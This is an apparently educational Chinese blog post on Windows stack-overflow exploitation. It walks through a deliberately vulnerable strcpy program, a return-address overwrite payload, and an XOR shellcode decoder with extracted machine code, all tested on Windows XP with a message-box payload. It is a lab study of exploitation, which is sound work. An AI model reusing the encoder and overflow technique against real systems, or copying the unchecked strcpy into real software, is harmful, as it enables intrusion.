Windows Shellcode学习笔记——shellcode在栈溢出中的利用与优化

0x00 前言


在《Windows Shellcode学习笔记——shellcode的提取与测试》中介绍了如何对shellcode作初步优化,动态获取Windows API地址并调用,并通过程序实现自动提取机器码作为shellcode并保存到文件中。

弹框实例shellcode的bin文件已上传至github,地址如下:

https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin

注:

shellcode.bin由getshellcode.cpp生成

getshellcode.cpp地址如下:

https://github.com/3gstudent/Shellcode-Generater/blob/master/getshellcode.cpp

接下来,要研究shellcode在具体环境中的使用和优化技巧

0x01 简介


先从最入门的缓冲区溢出开始

本文将要结合《0day安全:软件漏洞分析技术》中的“栈溢出原理与实践”章节,以其中的栈溢出代码作样本,优化我们自己生成的弹框实例shellcode,实现在栈溢出中的初步利用。

0x02 相关概念


栈区:

用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行

特殊寄存器:

ESP:栈指针寄存器(extended stack pointer),指向栈顶

EBP:基址指针寄存器(extended base pointer),指向栈底

EIP:指令寄存器(extended instruction pointer),指向下一条等待执行的指令地址

函数代码在栈中保存顺序(直观理解,已省略其他细节):

  • buffer
  • 前栈帧EBP
  • 返回地址
  • ESP

函数栈溢出原理(直观理解,已省略其他细节):

正常情况下函数在返回过程中,最后会执行返回地址中保存的内容,通常是跳到下一条指令的地址

如果buffer长度过长,长到覆盖了返回地址的值,那么函数在返回时,就会执行被覆盖的内容

如果将shellcode保存到buffer中,覆盖的返回地址为shellcode的起始地址,那么,shellcode将得到执行,完成栈溢出的利用

0x03 栈溢出实例测试


样本代码如下:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"

int verify_password (char *password)
{
	int authenticated;
	char buffer[44];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);
	return authenticated;
}

int main()
{
	int valid_flag=0;
	char password[1024];
	FILE *fp;
	LoadLibrary("user32.dll");
	if(!(fp=fopen("password.txt","rw+")))
		return 0;
	fread(password,56,1,fp);
	valid_flag=verify_password(password);
	if(valid_flag)
	{
		printf("wrong\n");
	}
	else
	{
		printf("right\n");	
	}
	fclose(fp);
	return 0;
}

注:

代码选自章节2.4.2中的实验代码,作细微调整 其中 fscanf(fp,”%s”,password)在遇到空格和换行符时结束,如果shellcode中包含空格(0x20),会被截断,导致读取文件不完整

因此,将其替换为fread(password,56,1,fp);

数组password长度为56,数组buffer长度为44,在执行strcpy(buffer,password);时存在栈溢出

根据函数栈溢出原理,实现栈溢出需要以下过程:

(1) 分析并调试程序,获得淹没返回地址的偏移

(2) 获得buffer的起始地址,根据获得的偏移将其覆盖返回地址,使得函数返回时执行buffer起始地址保存的代码

(3) 提取弹框操作的机器码并保存于buffer的起始地址处,在函数返回时得到执行

测试系统:Win XP

编译器:VC6.0

build版本: debug版本

(1) 分析并调试程序,获得淹没返回地址的偏移

可在password.txt中填入56个测试字符,使用OllyDbg打开程序,定位到函数返回地址

如图

Alt text

返回地址刚好被覆盖

(2) 获得buffer的起始地址并覆盖返回地址

如图

Alt text

获得buffer的起始地址:0012FB7C

注:

在不同系统下buffer的起始地址不同

使用0012FB7C覆盖返回地址,即password.txt的53-56位的十六进制字符为7CFB1200(逆序保存)

(3) 提取弹框操作的机器码

参照《0day安全:软件漏洞分析技术》中的方法,使用Dependency Walker 获取ueser32.ll的基地址为0x77D10000 MessageBoxA的偏移地址为0x000407EA

如图

Alt text

因此MessageBoxA在该系统上内存中的入口地址为0x77D10000+0x000407EA=0x77D507EA

替换书中MessageBoxA对应函数入口地址的机器码

最终password.txt内容如下(十六进制视图):

00000000h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S 00000010h: 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 ; PPS戈.誻袗悙悙? 00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 00000030h: 90 90 90 90 7C FB 12 00 ; 悙悙|?.

最终程序运行如图,栈溢出在我们的测试系统上触发成功

Alt text

0x03 弹框实例shellcode在栈溢出的优化


上节简单介绍了一下栈溢出实例的原理和操作方法,本节将要介绍如何优化我们自己开发的shellcode,即弹框实例shellcode,结合具体漏洞,实现利用

弹框实例shellcode下载地址:

https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin

shellcode长度1536

(1) 修改实例程序,使其数组足以保存我们的shellcode

完整代码如下:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"

int verify_password (char *password)
{
	int authenticated;
	char buffer[1556];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);
	return authenticated;
}

int main()
{
	int valid_flag=0;
	char password[2048]={0};
	FILE *fp;
	if(!(fp=fopen("password2.txt","rb")))
		return 0;
	fread(password,1568,1,fp);
	valid_flag=verify_password(password);
	if(valid_flag)
	{
		printf("wrong\n");
	}
	else
	{
		printf("right\n");
	}
	fclose(fp);
	return 0;
}

buffer长度增大到1556,用于保存弹框实例shellcode

根据上节实例,淹没返回地址的偏移9-12,因此password的长度增加到1556+12=1568

(2) strcpy遇到字符00会截断

如图

Alt text

弹框实例shellcode在00000009h处字符为0x00,strcpy在执行时遇到0x00会提前截断,导致shellcode不完整,无法覆盖返回地址

所以,需要对shellcode进行编码

为方便读者理解,参照《0day安全:软件漏洞分析技术》中3.5.2节的方法(此章节有详细说明,不再赘述过程):

  • shellcode尾部添加结束字符0x90
  • 将shellcode逐字节同0x44作异或加密
  • 汇编实现解码器并提取机器码
  • 解码器的机器码放于shellcode首部
  • 解码器将EAX对准shellcode起始位置,逐字节同0x44异或进行解密,遇到0x90停止

解码器的汇编代码如下:

void main()
{
	__asm
	{
		add eax,0x14
		xor ecx,ecx
decode_loop:
		mov bl,[eax+ecx]
		xor bl,0x44
		mov [eax+ecx],bl
		inc ecx
		cmp bl,0x90
		jne decode_loop
	}
}

使用OllyDbg提取出机器码如下:

"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1"

新的shellcode格式如下:

解码器机器码+加密的弹框实例shellcode+0xD4+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

注:

0x90^0x44=0xD4,0xD4即编码后的结束字符

“\x90\x90\x90\x90\x90\x90\x90”为填充字符串,无意义

“\x7C\xFB\x12\x00”为覆盖的函数返回地址

(3) 0xD4冲突

如图

Alt text

弹框实例shellcode中也包含结束字符0xD4,解密时shellcode会被提前截断,所以需要选择一个新的结束字符

当然也可以对shellcode分段加密,针对此shellcode,恰巧0xD5未出现,因此使用0xD5作结束字符串即可,解密字符为0x91

修改后的机器码如下:

"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"

修改后的shellcode格式如下:

解码器机器码+加密的弹框实例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

(4) shellcode编码测试

编写程序实现自动读取原shellcode,加密,添加解密机器码,添加结束字符

程序已上传至github

https://github.com/3gstudent/Shellcode-Generater/blob/master/enshellcode.cpp

执行后如图,产生新的shellcode文件,并在屏幕输出c格式的shellcode

Alt text

使用如下代码,结合屏幕输出c格式的shellcode,替换数组内容,对新的加密shellcode测试

由于代码较长,所以上传至github,地址如下:

https://github.com/3gstudent/Shellcode-Generater/blob/master/testenshellcode.cpp

如图,shellcode执行,成功实现解码器

Alt text

(5) 新shellcode在栈溢出中的测试

填上解码器机器码,完整的shellcode格式如下:

"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"+加密的弹框实例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

在栈溢出测试程序中仍然报错,使用OllyDbg加载继续调试

如下图,成功覆盖函数返回地址,接着按F8进行单步调试

Alt text

如下图,此时发现异常,EAX寄存器的值为909090D5,正常情况下EAX的值应该为Buffer的起始地址,这样才能成功找到shellcode并对其解密

Alt text

而寄存器EDX却保存了Buffer的起始地址

所以,我们需要对解码器作修改

(6) 修改解码器

选择一个最简单直接的方法,将EDX对准shellcode的起始位置,实现的汇编代码如下:

void main()
{
	__asm
	{
		add edx,0x14
		xor ecx,ecx
decode_loop:
		mov bl,[edx+ecx]
		xor bl,0x44
		mov [edx+ecx],bl
		inc ecx
		cmp bl,0x90
		jne decode_loop

	}
}

在OllyDbg中加载程序并提取机器码,如图

Alt text

新的解码器机器码为:

"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"

最终的shellcode代码为:

"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"+加密的弹框实例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

完整shellcode代码已上传至github,地址为:

https://github.com/3gstudent/Shellcode-Generater/blob/master/stackoverflowshellcode.bin

再次测试栈溢出,如图,shellcode成功执行

Alt text

由于shellcode是我们自己实现的动态获取API地址,所以栈溢出测试程序中的LoadLibrary(“user32.dll”); 可以省略

0x04 小结


本文对栈溢出原理作了简要描述,着重介绍了在具体的栈溢出环境下,shellcode的优化、调试和利用技巧

当然,上述shellcode存在一个不足:shellcode在内存中的起始地址往往不固定,导致漏洞利用不一定成功

下一篇文章将要解决这个问题


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Written on February 24, 2017